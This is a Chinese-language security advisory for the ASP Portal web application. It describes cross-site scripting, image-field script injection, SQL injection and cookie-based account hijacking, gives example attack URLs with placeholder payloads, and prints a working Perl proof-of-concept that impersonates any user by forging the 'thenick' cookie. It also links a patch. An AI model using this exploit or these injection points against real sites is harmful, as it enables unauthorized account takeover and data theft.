ASP Portal 存在多个安全缺陷
涉及程序:
ASP Portal
描述:
ASP Portal 存在多个安全缺陷
详细: ASP Portal是一款基于ASP的使用ACCESS数据库存储站点信息的WEB构建工具。脚本还包括方便使用的管理接口。
ASP Portal对外部输入缺少充分过滤,远程攻击者可以利用这个漏洞得到验证,获取用户信息,或执行任意代码,修改用户信息。
第一漏洞是跨站脚本执行问题:
由于index.asp对提交给'inc'参数的数据缺少充分过滤,允许攻击者注入HTML和脚本代码到页面,导致恶意代码在客户端浏览器上执行。如:
http://localhost/index.asp?inc='>[XSS]
http://localhost/index.asp?inc=profile&searchtext='>[XSS]
http://localhost/index.asp?inc=forumread&article='>[XSS]
第二个是Image脚本代码注入:
攻击者可以注入任意HTML或脚本代码代替在用户'details'页的"photograph URL"的Image值,可导致恶意代码在客户端浏览器上执行。
第三个问题是SQL注入:
程序对用户提交给'pageid'和'downloadscat'字段的数据缺少充分过滤,提交包含恶意SQL命令,可更改原有SQL逻辑,获得数据库敏感信息,如:
http://localhost/index.asp?inc=blog&pageid='[SqlQuery]
http://localhost/index.asp?inc=downloadssub&downloadscat='[SqlQuery]
第四个问题是COOKIE帐户劫持:
通过修改COOKIE中的'thenick'参数,可未授权以其他帐户权限访问系统。
攻击方法:
Manuel López (mantra@gulo.org)提供了如下测试方法:
帐户劫持演示程序如下:
---- PROOF OF CONCEPT COOKIE ACCOUNT HIJACK ----
#!/usr/bin/perl -w
## PROOF OF CONCEPT COOKIE ACCOUNT HIJACK
## Example: Asp-POC.pl localhost portal/index.asp Admin respuesta.htm
use IO::Socket;
if (@ARGV < 4)
{
print "\n\n";
print " ____________________________________________________________ \n";
print "| |\n";
print "| PROOF OF CONCEPT COOKIE ACCOUNT HIJACK |\n";
print "| Usage:Asp-POC.pl [host] [directorio] [usuario] [fichero] |\n";
print "| |\n";
print "| By: Manuel López #IST |\n";
print "|____________________________________________________________|\n";
print "\n\n";
exit(1);
}
$host = $ARGV[0];
$directorio = $ARGV[1];
$usuario = $ARGV[2];
$fichero = $ARGV[3];
print "\n";
print "----- Conectando <----\n";
$socket = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => "$host",PeerPort => "80") || die "$socket error $!";
print "====> Conectado\n";
print "====> Enviando Datos\n";
$socket->print(<<taqui) or die "write: $!";
GET http://$host/$directorio HTTP/1.1
Cookie: thenick=$usuario
taqui
print "====> OK\n";
print "====> Generando $fichero ...\n";
open( Result, ">$fichero");
print Result while <$socket>;
close Result;
解决方案:
下载补丁程序:
http://www.aspportal.net/downloadsviewer.asp?theurl=38
附加信息:
无